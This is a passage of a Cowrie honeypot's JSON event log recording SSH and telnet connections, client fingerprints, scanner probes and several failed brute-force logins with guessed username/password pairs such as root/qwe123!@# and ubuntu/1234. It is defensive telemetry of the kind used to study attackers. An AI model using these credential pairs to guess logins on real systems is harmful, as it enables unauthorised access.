{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:15.685609Z","src_ip":"31.40.204.166","session":"070cb6a5f8cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:16.822728Z","src_ip":"31.40.204.166","session":"070cb6a5f8cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57168,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a57c395f193","protocol":"telnet","message":"New connection: 152.42.224.71:57168 (10.17.0.5:23) [session: 2a57c395f193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:18.578746Z"}
{"eventid":"cowrie.session.closed","duration":53.03126931190491,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:25.422989Z","src_ip":"152.42.224.71","session":"0fc62d301b92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":96.84313535690308,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:25.508034Z","src_ip":"152.42.224.71","session":"ab6ac077fb1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.469661712646484,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:25.727677Z","src_ip":"152.42.224.71","session":"57314e4d2971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55326,"dst_ip":"10.17.0.5","dst_port":23,"session":"50d74a25da89","protocol":"telnet","message":"New connection: 152.42.224.71:55326 (10.17.0.5:23) [session: 50d74a25da89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:26.214278Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56198,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdd77d39a475","protocol":"ssh","message":"New connection: 31.40.204.166:56198 (159.203.135.109:22) [session: fdd77d39a475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:27.215266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:27.297190Z","src_ip":"31.40.204.166","session":"fdd77d39a475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:27.394484Z","src_ip":"31.40.204.166","session":"fdd77d39a475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:27.987865Z","src_ip":"31.40.204.166","session":"fdd77d39a475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:29.200078Z","src_ip":"31.40.204.166","session":"fdd77d39a475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.146.80.121","src_port":34592,"dst_ip":"159.203.135.109","dst_port":22,"session":"73e4de13485d","protocol":"ssh","message":"New connection: 217.146.80.121:34592 (159.203.135.109:22) [session: 73e4de13485d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:30.465695Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:30.542530Z","src_ip":"217.146.80.121","session":"73e4de13485d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55336,"dst_ip":"10.17.0.5","dst_port":23,"session":"18aed0f4668a","protocol":"telnet","message":"New connection: 152.42.224.71:55336 (10.17.0.5:23) [session: 18aed0f4668a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:31.508593Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55350,"dst_ip":"10.17.0.5","dst_port":23,"session":"09bbd3c3ecb4","protocol":"telnet","message":"New connection: 152.42.224.71:55350 (10.17.0.5:23) [session: 09bbd3c3ecb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:36.773465Z"}
{"eventid":"cowrie.session.closed","duration":120.00285148620605,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:38.373079Z","src_ip":"152.42.224.71","session":"9bddece7dbe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37258,"dst_ip":"159.203.135.109","dst_port":22,"session":"06e01667accc","protocol":"ssh","message":"New connection: 31.40.204.166:37258 (159.203.135.109:22) [session: 06e01667accc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:38.419231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:38.491761Z","src_ip":"31.40.204.166","session":"06e01667accc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:38.589959Z","src_ip":"31.40.204.166","session":"06e01667accc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59336,"dst_ip":"10.17.0.5","dst_port":23,"session":"148bd2030b28","protocol":"telnet","message":"New connection: 152.42.224.71:59336 (10.17.0.5:23) [session: 148bd2030b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:39.183336Z"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:39.213681Z","src_ip":"31.40.204.166","session":"06e01667accc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59350,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ed9c79f9bb","protocol":"telnet","message":"New connection: 152.42.224.71:59350 (10.17.0.5:23) [session: 00ed9c79f9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:39.666522Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59352,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd32bcf0a8f","protocol":"telnet","message":"New connection: 152.42.224.71:59352 (10.17.0.5:23) [session: acd32bcf0a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:39.699097Z"}
{"eventid":"cowrie.session.closed","duration":39.218865633010864,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:40.024067Z","src_ip":"152.42.224.71","session":"7f7fc9247b7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:40.625719Z","src_ip":"31.40.204.166","session":"06e01667accc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.99474239349365,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:41.043053Z","src_ip":"152.42.224.71","session":"4ca9dd969914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.04712677001953,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:42.028648Z","src_ip":"152.42.224.71","session":"cd71b5ac9e7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.12","src_port":5752,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2deda50d45c","protocol":"ssh","message":"New connection: 69.5.169.12:5752 (159.203.135.109:22) [session: a2deda50d45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.067664Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.072565Z","src_ip":"69.5.169.12","session":"a2deda50d45c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.076408Z","src_ip":"69.5.169.12","session":"a2deda50d45c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.24","src_port":16114,"dst_ip":"159.203.135.109","dst_port":22,"session":"71316683101c","protocol":"ssh","message":"New connection: 69.5.169.24:16114 (159.203.135.109:22) [session: 71316683101c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.247355Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0002\\x9b\u0001\u0000\u0002\\x97\u0003\u0003F\r\\xe5\\xa4MQ\\xd0k8!\\xe4k#\\xde\u000f\u0010\\xdf\u007f;\\xa0\\xb5\\xc4\r9\\xbb\\xa9e\\x89\u0004.\\xa1p \\xa6\\x865\\xcc\\xe9K\\xa5q\\xcb\u001b\\xa0\\x95\u0002\u02d0gA\\xcc\\xdc\u000f\u0007\\xac\\xca\"=\\x9f\u0018\u0014\\x8c\\xc6h\\\u0000F\u0013\u0001\u0013\u0003\u0013\u0002\\xc0+\\xc0/\u0329\u0328\\xc0,\\xc00\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0002\\x9b\u0001\u0000\u0002\\x97\u0003\u0003F\r\\xe5\\xa4MQ\\xd0k8!\\xe4k#\\xde\u000f\u0010\\xdf\u007f;\\xa0\\xb5\\xc4\r9\\xbb\\xa9e\\x89\u0004.\\xa1p \\xa6\\x865\\xcc\\xe9K\\xa5q\\xcb\u001b\\xa0\\x95\u0002\u02d0gA\\xcc\\xdc\u000f\u0007\\xac\\xca\"=\\x9f\u0018\u0014\\x8c\\xc6h\\\u0000F\u0013\u0001\u0013\u0003\u0013\u0002\\xc0+\\xc0/\u0329\u0328\\xc0,\\xc00\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.252311Z","src_ip":"69.5.169.24","session":"71316683101c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.256015Z","src_ip":"69.5.169.24","session":"71316683101c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.3","src_port":2088,"dst_ip":"159.203.135.109","dst_port":22,"session":"555ac63477b9","protocol":"ssh","message":"New connection: 69.5.169.3:2088 (159.203.135.109:22) [session: 555ac63477b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.424793Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0002\\x8c\u0001\u0000\u0002\\x88\u0003\u0003\\xc8\\xeb\\x84\\xdc\\xf9\\x95\u0016c\\xd9Rb\\xba\\xe2|?4$K[\\xe5\\xff\u0017[\\xea\\xd0L\\x9bcgb\\x82\\xff m\\x96\\xd5\\xe0\r\\xaf\\xeep\\xe9W\\xeeaM\\xd6\\xe9\\xaf)\\xe4~\\xae\\xb3j[By\u058dR\\x92\u0019\\xe8>\u0000F\u0013\u0001\u0013\u0003\u0013\u0002\\xc0+\\xc0/\u0329\u0328\\xc0,\\xc00\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0002\\x8c\u0001\u0000\u0002\\x88\u0003\u0003\\xc8\\xeb\\x84\\xdc\\xf9\\x95\u0016c\\xd9Rb\\xba\\xe2|?4$K[\\xe5\\xff\u0017[\\xea\\xd0L\\x9bcgb\\x82\\xff m\\x96\\xd5\\xe0\r\\xaf\\xeep\\xe9W\\xeeaM\\xd6\\xe9\\xaf)\\xe4~\\xae\\xb3j[By\u058dR\\x92\u0019\\xe8>\u0000F\u0013\u0001\u0013\u0003\u0013\u0002\\xc0+\\xc0/\u0329\u0328\\xc0,\\xc00\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.428563Z","src_ip":"69.5.169.3","session":"555ac63477b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:44.431674Z","src_ip":"69.5.169.3","session":"555ac63477b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00219631195068,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:45.329520Z","src_ip":"152.42.224.71","session":"9c0347a17c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59358,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a2a0a18d792","protocol":"telnet","message":"New connection: 152.42.224.71:59358 (10.17.0.5:23) [session: 4a2a0a18d792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:46.666289Z"}
{"eventid":"cowrie.session.closed","duration":120.00208592414856,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:47.228557Z","src_ip":"152.42.224.71","session":"8f7e1934b9d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43574,"dst_ip":"10.17.0.5","dst_port":23,"session":"a472049573df","protocol":"telnet","message":"New connection: 152.42.224.71:43574 (10.17.0.5:23) [session: a472049573df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:50.443056Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46922,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b33a640d00f","protocol":"ssh","message":"New connection: 31.40.204.166:46922 (159.203.135.109:22) [session: 0b33a640d00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:51.197222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:51.205854Z","src_ip":"31.40.204.166","session":"0b33a640d00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:51.331088Z","src_ip":"31.40.204.166","session":"0b33a640d00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:51.793253Z","src_ip":"31.40.204.166","session":"0b33a640d00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63149,"dst_ip":"159.203.135.109","dst_port":22,"session":"8414a59c0875","protocol":"ssh","message":"New connection: 152.42.212.128:63149 (159.203.135.109:22) [session: 8414a59c0875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:52.266227Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:52.271595Z","src_ip":"152.42.212.128","session":"8414a59c0875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:52.275666Z","src_ip":"152.42.212.128","session":"8414a59c0875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:53.106473Z","src_ip":"31.40.204.166","session":"0b33a640d00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00113487243652,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:53.115457Z","src_ip":"152.42.224.71","session":"d4be20caae00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35008,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e918e16c29a","protocol":"telnet","message":"New connection: 152.42.224.71:35008 (10.17.0.5:23) [session: 6e918e16c29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:56.634866Z"}
{"eventid":"cowrie.session.closed","duration":120.00107884407043,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:56.908716Z","src_ip":"152.42.224.71","session":"e16973cafb03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35016,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a284fd2dd3","protocol":"telnet","message":"New connection: 152.42.224.71:35016 (10.17.0.5:23) [session: c0a284fd2dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:57.638318Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35018,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ba5575ee81","protocol":"telnet","message":"New connection: 152.42.224.71:35018 (10.17.0.5:23) [session: d7ba5575ee81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:58.133613Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42050,"dst_ip":"159.203.135.109","dst_port":22,"session":"46a40934a129","protocol":"ssh","message":"New connection: 31.40.204.166:42050 (159.203.135.109:22) [session: 46a40934a129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:03.321272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:03.326639Z","src_ip":"31.40.204.166","session":"46a40934a129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.88822650909424,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:03.466864Z","src_ip":"152.42.224.71","session":"2a57c395f193","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 